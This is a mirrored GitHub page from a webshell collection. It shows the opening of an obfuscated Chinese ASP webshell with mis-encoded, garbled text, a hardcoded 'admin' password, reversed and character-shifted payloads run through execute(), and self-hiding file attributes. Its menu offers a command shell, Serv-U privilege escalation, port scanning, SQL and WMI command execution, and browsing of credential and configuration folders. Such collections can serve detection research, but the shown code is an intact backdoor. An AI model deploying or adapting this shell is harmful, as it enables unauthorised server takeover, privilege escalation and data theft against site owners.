Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-22 19:23:05 +00:00
Code Issues Projects Releases Packages Wiki Activity
webshell/www-7jyewu-cn/UnKnown 高级Vip防删收费版 (1).asp

1746 lines
124 KiB
Text
Raw Normal View History

add 7iyewu webshell
2014-10-23 07:01:24 +00:00
<%
UserPass="admin" '
'-------------------------------------------------------------------
mName="UnKnown <20>߼<EFBFBD>Vip<69><70>ɾ<EFBFBD>շѰ<D5B7>"
SiteURL="http://www.7jyewu.cn/" '<27><>վ
Copyright="<22><>ɱȥ<C9B1><C8A5><EFBFBD>Ű<EFBFBD> By 7jyewu.cn" '<27><>Ȩ
AD="<22>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>Ű<EFBFBD>,<2C><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѽ!" '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bj="#000000" '<27><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD>ɫ
wz="#00FF00" '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ
budu="#000000" '<27><><EFBFBD>ð<EFBFBD>ť<EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>ɫ
'-------------------------------------------------------------------
'<27><><EFBFBD>𽫴˳<F0BDABB4><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷǷ<DAB7>;<EFBFBD><CDBE>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>к<EFBFBD><D0BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޹<EFBFBD>!
'-------------------------------------------------------------------
Server.ScriptTimeout=999999999:Response.Buffer =true:On Error Resume Next:sub ShowErr():If Err Then:RRS"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,"\","\\"):End Function:Function RRePath(S):RRePath=Replace(S,"\\","\"):End Function:
execute(shisanfun(":<3A><>>retnec/<>a/<<3C>ط<EFBFBD>>')(kcab.yrotsih:tpircsavaj'=ferh a<>retnec<>rb<>rb<<3C><>=lrUkcaB<61><42>:)<29><>emaNF<4E><46>(tseuqeR=emaNF<4E><46>ssaPresU=pp<70><70>:)<29><>emaN_tpircS<63><53>(selbairaVrevreS.tseuqeR=emaNrcS<63><53>:)<29><>htaPredloF<6F><46>(tseuqeR=htaPredloF<6F><46>:)<29><>DETALSNART_HTAP<41><50>(selbairaVrevreS.tseuqeR=0O0O<30><4F>:lru&)<29><>tsoh_ptth<74><68>(selbairavrevres.tseuqer=1rts<74><73>:)<29><>/<2F><>(htaPpaM.revreS=tooRWWW<57><57>:)<29><>.<2E><>(htaPpaM.revreS=htaPtooR:)<29><>noitcA<63><41>(tseuqeR=noitcA<63><41>:)<29><>RDDA_LACOL<4F><4C>(selbairaVrevreS.tseuqeR=PIrevreS<65><53>:lru&)<29><>tsoh_ptth<74><68>(selbairavrevres.tseuqer=u<><75>:)<29><>LRU<52><55>(selbairaVrevreS.tseuqeR=LRU"))
Function SUnEnCode(ObjStr):
Dim SNewStr:ObjStr=Replace(ObjStr,"<22><>",""""):For i=1 To Len(ObjStr):If Mid(ObjStr,i,1) <> "<22><>" Then:SNewStr=Mid(ObjStr,i,1)&SNewStr:Else:SNewStr=vbCrLf&SNewStr:End If:Next:SUnEnCode=SNewStr:
End Function:
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "<22><>", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "<22><>" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
execute(SUnEnCode("noitcnuF dnE<6E><45>rtSweNL = edoCnEnUL<55><4C>txeN<65><4E>fI dnE <20><>rtSweNL & fLrCbv = rtSweNL <20><>eslE <20><>fI dnE<6E><45>rtSweNL & )kP(rhC = rtSweNL <20><>fI dnE <20><>59 + kP = kP <20><>nehT 23 < kP fIeslE <20><>59 - kP = kP <20><>nehT 621 > kP fI <20><>5 - ))1 ,i ,rtSjbO(diM(csA = kP<6B><50>eslE<6C><45>rtSweNL & )))1 ,i ,rtSjbO(diM(csA(rhC = rtSweNL<4E><4C>nehT 621 > ))1 ,i ,rtSjbO(diM(csA rO 23 < ))1 ,i ,rtSjbO(diM(csA fI<66><49>nehT <20>˅e<CB85><65> >< )1 ,i ,rtSjbO(diM fI <20><>)rtSjbO(neL oT 1 = i roF<6F><46>rtSweNL ,kP miD<69><44>)rtSjbO(edoCnEnUL noitcnuF")):str1=request.servervariables("http_host")&url
RRS"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"
RRS"<title>"&mName&" - "&ServerIP&"</title>"
RRS"<style type=""text/css"">"
RRS"body,td{font-size: 12px;background-color:"&bj&";color:"&wz&";}"
RRS"input,select,textarea{font-size: 12px;color:"&wz&";background-color:"&budu&";border:1px solid "&wz&"}"
RRS".C{background-color:#000000;border:0px}"
RRS".cmd{background-color:#000;color:#FFF}"
RRS"body{margin: 0px;margin-left:4px;}"
RRS"BODY {SCROLLBAR-FACE-COLOR: #000000;SCROLLBAR-HIGHLIGHT-COLOR: "&wz&";SCROLLBAR-SHADOW-COLOR: "&wz&";SCROLLBAR-ARROW-COLOR: "&wz&";SCROLLBAR-TRACK-COLOR: #000000;SCROLLBAR-DARKSHADOW-COLOR: black;SCROLLBAR-BASE-COLOR: #000000}"
RRS"a{color:"&wz&";text-decoration: none;}a:hover{color:#FFFFFF;background:#000}"
RRS".am{color:"&wz&";font-size:11px;}"
RRS"</style>"
RRs"<center><font face=wingdings color=#dddddd style=font-siZe:"&font&">"&pic&"</font></center>"
Set fso = CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(O0O0):if f.attributes <> 39 then:f.attributes = 39:end if
execute(LUnEnCode("<22>e'C'%xww<77>e'tsBqqtwhx%'%XWW%sjmy%''BstnyhF%kN<6B>e%'~itgA'%xww<77>e'Cyunwhx4A'XWW<57>e'#@jzwy%swzyjw@.-ynrgzx3rwtKgI@''''BQRYMwjssn3hgf@lu%B%jzqf{3jlfU3rwtKgI@wyx%B%jzqf{3wyXqvX3rwtKgI#@jxqfk%swzyjw@.''&ȷ<><C8B7><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD>QVX<56><58><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-ywjqf!.56Amylsjq3wyx-kn#@jxqfk%swzyjw@.''&ȷ<><C8B7><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-ywjqf!.:Amylsjq3jzqf{3wyXgI3rwtKgI-kn!.lu1wyx-wyXqvXqqzK%stnyhszk'XWW<57>e'#@jzwy%swzyjw#@bn`wyX%B%jzqf{3wyXqvX3rwtKgI!jxqj#@.bn`wyX-ywjqf!.76BBn-kn%jxqj#@''Cwjysjh4A<34><41><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>QVX<56><58><EFBFBD><EFBFBD><EFBFBD>ٿ<EFBFBD><D9BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7>CwjysjhA''BQRYMwjssn3hgf@''''%B%jzqf{3wyXqvX3rwtKgI@bn`wyX%B%jzqf{3wyXgI3rwtKgI!.8BAn-kn@''<27><><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD>ʮ<EFBFBD><CAAE>ǰ<EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>ʾ<EFBFBD><CABE>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>sa3<61><33>ʵѯ<CAB5><D1AF><EFBFBD>ƿؼ<C6BF><D8BC><EFBFBD><EFBFBD>ÿɣ<C3BF><C9A3><EFBFBD><EFBFBD>ֲ<EFBFBD>ȫ<EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>ʾ<EFBFBD>Կɼ<D4BF>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һʾ<D2BB><CABE>ֻ<EFBFBD><D6BB>''%Bb76`wyX@''XXFU%SRZQTH%UTWI%bjrfSjqgfY`%JQGFY%WJYQF''%Bb66`wyX@''.78-WFMHWF[%XXFU%SRZQTH%IIF%bjrfSjqgfY`%JQGFY%WJYQF''%Bb56`wyX@''bjrfSjqgfY`%JQGFY%UTWI''%B%b>`wyX@''..5:-WFMHWF[%WJXZ1QQZS%YTS%.616-%^YNYSJIN%YSN%IN-bjrfSjqgfY`%JQGFY%JYFJWH''%B%b=`wyX@''556BIN%JWJM\%,ajrfswjxz,aBWJXZ%YJX%bjrfSjqgfY`%JYFIUZ''%B%b<`wyX@''556BIN%JWJM\%bjrfSjqgfY`%RTWK%JYJQJI''%B%b;`wyX@''.,aiwt|xxfu,a1,ajrfswjxz,a-XJZQF[%.XXFU1WJXZ-bjrfSjqgfY`%TYSN%YWJXSN''%B%b:`wyX@''556AIN%JWJM\%bjrfSjqgfY`%RTWK%/%YHJQJX''%B%b9`wyX@''jrfSsxIBsxI''%B%b8`wyX@''////Bi|U@yttwBinZ@jrfSgIBjxfgfyfI@;588BywtU@'+UNwj{wjX+'Bwj{wjX@#qvX~R!Bwj{nwI''%B%b7`wyX@''////Bi|U@fxBinZ@jrfSgIBjxfgfyfI@88961'+UNwj{wjX+'Bwj{wjX@#wj{wjX%qvX!Bwj{nwI''%B%b6`wyX@''///Biwt|xxfU%jxfgfyfI?GIJQT%yjO@gir3giaa'+..'myfUwjiqtK'-stnxxjX-myfUjW+'BjhwztX%fyfI@5393GIJQT3yjO3yktxtwhnRBwjin{twU''%B%b5`wyX@.76-~fwwF%|js%B%wyX#@jxqfk%swzyjw!.5An-kn!.n-wyXgIqqzK%stnyhszk'XWW<57>e'#@jzwy%swzyjw#@jxqfk%swzyjw@.5-wyXgIqqzK@.''<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-ywjqf!.''''%BB%jzqf{3wyXgI3rwtKgI-kn!.-phjmHgI%stnyhszk'XWW<57>e'##@''''%B%jzqf{3jrfSK3rwtkjinm3uty!jxqj#@.-ynrgzx3rwtkjinm3uty@stnyhFK%B%jzqf{3stnyhF3rwtkjinm3uty!.qqzsB&jrfSI-kn#@''wjmyT''%B%jrfSI!jxqj#@jrfSI%B%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD>ע1<D7A2><31><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>giR<69><52><EFBFBD><EFBFBD>ѹҪ<D1B9><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''giRyhfurtH''BBstnyhFK-kn%jxqj#@jrfSI%B%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ͬ<EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD>ע1<D7A2><31><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>giR<69>Ľ<EFBFBD><C4BD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''giRjyfjwH''BBstnyhFK-kn%jxqj#@jrfSI%B%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ȫ<EFBFBD>м<EFBFBD><D0BC>ĵĽ<C4B5><C4BD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''wjiqtK|jS''BBstnyhFK-kn%jxqj#@jrfSI0''""""""""''%B0%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ȫ<EFBFBD>м<EFBFBD><D0BC>ı<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''wjiqtKj{tR''BBstnyhFK-kn%jxqj#@jrfSI0''""""""""''%B0%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ȫ<EFBFBD>м<EFBFBD><D0BC>ı<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''wjiqtK~utH''BBstnyhFK-kn%jxqj#@jrfSI0''""""""""''%B0%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD>ı<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''jqnKj{tR''BBstnyhFK-kn%jxqj#@jrfSI0''""""""""''%B0%jzqf{3jrfSK3rwtkjinm3uty@.jrfSK1''<27><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD>ı<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>''-yurtwu%B%jrfSI!.''jqnK~utH''BBstnyhFK-kn@jrfSK%B%jzqf{3jrfSK3rwtkjinm3uty!.stnyhFK1jrfSK-rwtKqqzK%stnyhszk'XWW<57>e'#@.-ynrgzx3rwtkwiif3uty@wjiqtK%B%jzqf{3myfUwjiqtK3rwtkwiif3uty!.wjiqtK-wjiqtK|tmX%stnyhszk'XWW<57>e'@.-phtqHszw#@~fquxni0''22%%'+IF+'<27><>''Bxzyfyx3|tisn|@.-lsnwyXjqfhtQty3~fity%B~fquxni%wf{@.-jyfI%|js%B%~fity%wf{@.556%1''.-phtqHszw''-yztjrnYyjx3|tisn|%B%jrnYjmy!.-phtqHszw%stnyhszk'XWW<57>e'#@jxqfk%swzyjw%jxqj@jzwy%swzyjw..''<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٴ<EFBFBD><D9B4><EFBFBD>ִҪ<D6B4><D2AA>ȷ''-rwnksth-%kn!.-ptxj~%stnyhszk'XWW<57>e'@xwtwwJqqnpBwtwwjst3|tisn|#@jzwy%swzyjw!.-xwtwwJqqnp%stnyhszkCyunwhxf{foBjlfzlsfq%yunwhxA'XWW")):
execute(LUnEnCode("'<27><><EFBFBD><EFBFBD><EFBFBD>䴫<EFBFBD><E4B4AB><EFBFBD><EFBFBD>'%B%.7186-YgT?'UYYMQR]3yktxtwhnR'%B%.5186-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD>ŷ<EFBFBD>qnfRuyrX'%B%.7176-YgT?'63qnfRuyrX3qnfRuyrX'%B%.5176-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD>ŷ<EFBFBD>UYRX<52><58><EFBFBD><EFBFBD>'%B%.7166-YgT?'qnfR|jS3XYSTIH'%B%.5166-YgT?'<27><><EFBFBD>鷢<EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>%qnfRO'%B%.7156-YgT?'qnfRuyrX3qnfRO'%B%.5156-YgT?'<27><><EFBFBD>鴫<EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>%iftquZUXF'%B%.71>-YgT?'63iftquZ3xynxwjU'%B%.51>-YgT?'<27><><EFBFBD>鴫<EFBFBD>ϼ<EFBFBD><CFBC>ķ<EFBFBD><C4B7><EFBFBD><EFBFBD><EFBFBD>'%B%.71=-YgT?'jqnKiftquZ3iftquZk~Q'%B%.51=-YgT?'<27><><EFBFBD>鴫<EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>%uZjqnK2FX'%B%.71<-YgT?'uZjqnK3xsfxnywFyktX'%B%.51<-YgT?'<27><><EFBFBD>鴫<EFBFBD><E9B4AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'%B%.71;-YgT?'rfjwyX3gitiF'%B%.51;-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'%B%.71:-YgT?'stnyhjssth3gitiF'%B%.51:-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'%B%.719-YgT?%'~wfstnyhnI3lsnyunwhX'%B%.519-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹXXJHHF'%B%.718-YgT?'jsnlsJyjO3TWO'%B%.518-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD>⽨XXJHHF'%B%.717-YgT?'ltqfyfH3]TIF'%B%.517-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'%B%.716-YgT?'qqjmx3yunwhx|'%B%.516-YgT?'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD>'%B%.715-YgT?'yhjogTrjyx~XjqnK3lsnyunwhX'%B%.515-YgT?.7186-YgT%rnI"))
For i=0 To 13:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" <20><>":Else:IsObj=" ":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if:Function MainForm():RRS"<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
RRS"<input type=""hidden"" name=""Action"">"
RRS"<input type=""hidden"" name=""FName"">"
RRS"</form>"
RRS"<table width='100%' height='100%' border=0 cellpadding='0' cellspacing='0'>"
RRS"<tr><td height='30' colspan='2'>"
RRS"<table width='100%'>"
RRS"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
RRS"<tr><td width='60' align='center'><3E><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD></td><td>"
RRS"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
RRS"</td><td width='140' align='center'><input name='Submit' type='submit' value='ת<><D7AA>'> <input type='submit' value='ˢ<><CBA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>' onclick='FileFrame.location.reload()'>"
RRS" <tr align='center' valign='middle'>"
RRS"<tr><3E><>ȨĿ¼<C4BF>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Program Files"")'>Program</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\"")'>AllUsers</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\<5C><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>˵<EFBFBD>\\<5C><><EFBFBD><EFBFBD>\\"")'><3E><><EFBFBD><EFBFBD></a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere\\"")'>pcAnywhere</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""c:\\Program Files\\serv-u\\"")'>serv-u</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Program Files\\Real"")'>RealServer</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Program Files\\Microsoft SQL Server\\"")'>SQL</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\WINDOWS\\system32\\config\\"")'>config</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""c:\\WINDOWS\\system32\\inetsrv\\data\\"")'>data</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""c:\\windows\\Temp\\"")'>Temp</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\RECYCLER\\"")'>RECYCLER</a><3E><><EFBFBD><EFBFBD><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Documents\\"")'>Documents</a><3E><></td><td>"
RRS"</td></tr></form></table></center></td></tr><tr><td width='170'>"
RRS"<iframe name='Left' src='?Action=MainMenu' width='170' height='100%' frameborder='0' border='0'></iframe></td>"
RRS"<td>"
RRS"<iframe name='FileFrame' src='?Action=Show1File' width='100%' height='100%' frameborder='0'></iframe>"
RRS"</td></tr></table>"
End Function:Function MainMenu():
execute(shisanfun("<22><>>elbat/<>rt/<>dt/<<3C><>&thgirypoC&<26><>>rb<------------------------>rb<>'der:roloc'=elyts retnec=ngila dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<¼<>dz<EFBFBD><C7B3><EFBFBD>>->'pot_'=tegrat 'tuogoL=noitcA?'=ferh a<>'22'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD> >rt/<>dt/<>a/<<3C><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD>ۡ<EFBFBD> >'emarFeliF'=tegrat '<27><>&pirevres&<26><>/llaetis/moc.nahzia.www//:ptth'=ferh a<>'22'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<<3C><><EFBFBD><EFBFBD>վ<EFBFBD><D5BE><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'bdMoTddAegaP=noitcA?'=ferh a<>'22'=thgieh dt<>rt<<3C><>SRR<52><52>fI dnE<6E><45><EFBFBD><EFBFBD>>rt/<>dt/<>vid/<>a/<<3C><><EFBFBD><EFBFBD>BDM<44><4D>ѹ>')<29><><EFBFBD><EFBFBD>bdMtcapmoC<6F><43><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&)<29><>bdm.atad\<5C><>&)<29><>htaPredloF<6F><46>(noisseS(htaPeR&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(mroFlluF:tpircsavaj'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD>BDM<44><4D><EFBFBD><EFBFBD>>')<29><><EFBFBD><EFBFBD>bdMetaerC<72><43><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&)<29><>bdm.weN\<5C><>&)<29><>htaPredloF<6F><46>(noisseS(htaPeR&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(mroFlluF:tpircsavaj'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'reganaMbD=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>><3E><><EFBFBD><EFBFBD>'enon'=yalpsid.elyts.2unem<EFBFBD><EFBFBD><EFBFBD><EFBFBD>=tuoesuomno <20><><EFBFBD><EFBFBD>'enon'=yalpsid;%001:htdiw;xp81:thgieh-enil<69><6C><EFBFBD><EFBFBD>=elyts 2unem=di vid<>b/<<3C><><EFBFBD><EFBFBD><EFBFBD>ٿ<EFBFBD><D9BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+>b<><3E><><EFBFBD><EFBFBD>''=yalpsid.elyts.2unem<EFBFBD><EFBFBD><EFBFBD><EFBFBD>=revoesuomno '42'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<>b/<<3C><><EFBFBD><EFBFBD>>b<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat '3=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<>b/<<3C><><EFBFBD><EFBFBD>>b<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat '2=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>a/<>b/<<3C><><EFBFBD><EFBFBD>>b<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat '1=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rt/<>dt/<>vid/<>a/<)<29><><EFBFBD>ٿ<EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>b/<>'emarFeliF'=tegrat 'mglp=noitcA?'=ferh a<>'02'=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD>ע<EFBFBD><D7A2>>'emarFeliF'=tegrat 'GERdaeR=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD>ֱ<EFBFBD><D6B1>>'emarFeliF'=tegrat 'daolpu=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD>ɨ<EFBFBD>ڶˡ<DAB6>>'emarFeliF'=tegrat 'troPnacS=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD>PTF-uS<75><53>>'emarFeliF'=tegrat 'ptfus=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD>ǿ<EFBFBD><C7BF>uS<75><53>>'emarFeliF'=tegrat 'uvreS=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<>b/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DMC<4D><43>>b<>'emarFeliF'=tegrat 'llehS1dmC=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD>춴©<ECB6B4><C2A9>>'emarFeliF'=tegrat 'ydog=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><>Ȩ<EFBFBD><C8A8>LQS<51><53>>'emarFeliF'=tegrat 'cbalqs=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>ԶIMW<4D><57>>'emarFeliF'=tegrat 'imw=noitcA?'=ferh a<;psbn&;psbn&;psbn&<26><>SRR<52><52><EFBFBD><EFBFBD>><3E><><EFBFBD><EFBFBD>'enon'=yalpsid.elyts.3unem<EFBFBD><EFBFBD><EFBFBD><EFBFBD>=tuoesuomno <20><><EFBFBD><EFBFBD>'enon'=yalpsid;%001:htdiw<69><77><EFBFBD><EFBFBD>=elyts 3unem=di vid<>b/<<3C>ݾ߹<DDBE>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>+ >b<><3E><><EFBFBD><EFBFBD>''=yalpsid.elyts.3unem<EFBFBD><EFBFBD><EFBFBD><EFBFBD>=revoesuomno 22=thgieh dt<>rt<<3C><>SRR<52><52><EFBFBD><EFBFBD>>rb<>a/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>'emarFeliF'=tegrat 'kooh=noitcA?'=ferh 